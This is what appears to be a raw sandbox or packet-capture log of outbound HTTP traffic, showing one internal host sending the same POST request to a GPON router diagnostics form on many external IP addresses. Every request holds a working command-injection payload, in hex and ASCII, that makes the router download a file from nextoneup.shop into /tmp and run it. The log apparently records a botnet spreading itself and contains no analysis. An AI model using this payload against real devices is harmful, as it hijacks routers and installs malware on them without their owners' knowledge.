Apr 14, 2024 04:01:06.134911060 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1741	192.168.2.13	39948	94.160.73.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134938002 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1742	192.168.2.13	60706	37.112.42.184	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134952068 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1743	192.168.2.13	43162	118.126.253.25	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134974003 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1744	192.168.2.13	42752	123.185.92.24	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.134990931 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1745	192.168.2.13	41416	212.172.84.42	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135011911 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1746	192.168.2.13	54864	2.116.150.141	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135046959 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1747	192.168.2.13	34752	5.77.247.106	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135068893 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1748	192.168.2.13	37886	94.251.111.82	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135093927 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1749	192.168.2.13	54876	5.4.154.143	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135113001 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1750	192.168.2.13	45674	42.181.181.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135138988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1751	192.168.2.13	40758	42.88.111.176	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135138988 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1752	192.168.2.13	39514	42.51.32.90	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135632038 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1753	192.168.2.13	46146	118.107.243.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135644913 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1754	192.168.2.13	55272	178.182.8.246	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135667086 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1755	192.168.2.13	56404	118.250.158.167	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135675907 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1756	192.168.2.13	57630	123.237.18.55	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135698080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1757	192.168.2.13	49718	42.236.184.108	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135698080 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1758	192.168.2.13	54280	79.123.49.0	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135739088 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1759	192.168.2.13	39000	210.187.232.91	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135751963 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1760	192.168.2.13	46110	118.23.176.241	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135763884 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1761	192.168.2.13	38542	117.72.233.134	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135791063 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1762	192.168.2.13	58352	148.29.14.229	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135821104 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1763	192.168.2.13	44208	117.202.116.41	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135823965 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1764	192.168.2.13	43692	118.134.185.189	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135863066 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1765	192.168.2.13	33596	148.43.26.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:01:06.135864019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

